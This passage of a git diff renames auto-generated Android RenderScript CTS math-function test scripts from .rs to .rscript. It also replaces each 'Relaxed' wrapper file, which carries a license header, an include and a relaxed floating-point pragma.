rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rs
deleted file mode 100644
index 1ddce4e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativePowr.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rscript
new file mode 100644
index 0000000..fd4b22e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowrRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativePowr.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecip.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rs
deleted file mode 100644
index 9ea5ea8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeRecip.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rscript
new file mode 100644
index 0000000..54b9847
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRecipRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeRecip.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootn.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rs
deleted file mode 100644
index d5a0f1f..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeRootn.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rscript
new file mode 100644
index 0000000..949df21
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRootnRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeRootn.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rs
deleted file mode 100644
index a832c1c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeRsqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rscript
new file mode 100644
index 0000000..9af886d
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeRsqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeRsqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rs
deleted file mode 100644
index 570618f..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeSin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rscript
new file mode 100644
index 0000000..7c15005
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeSin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rs
deleted file mode 100644
index 8b7baa1..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeSincos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rscript
new file mode 100644
index 0000000..6453dcb
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSincosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeSincos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rs
deleted file mode 100644
index 2de990c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeSinh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rscript
new file mode 100644
index 0000000..285f134
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeSinh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rs
deleted file mode 100644
index 9becf5f..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeSinpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rscript
new file mode 100644
index 0000000..6410953
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSinpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeSinpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rs
deleted file mode 100644
index 9ec1ae1..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeSqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rscript
new file mode 100644
index 0000000..45af662
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeSqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeSqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTan.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rs
deleted file mode 100644
index dac15e0..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeTan.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rscript
new file mode 100644
index 0000000..e307953
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeTan.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rs
deleted file mode 100644
index ded8d31..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeTanh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rscript
new file mode 100644
index 0000000..209f61a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeTanh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rs
deleted file mode 100644
index 206ad88..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeTanpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rscript
new file mode 100644
index 0000000..a3499a2
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeTanpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rs
deleted file mode 100644
index 59b48c8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNextafter.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rscript
new file mode 100644
index 0000000..aad6a18
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafterRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
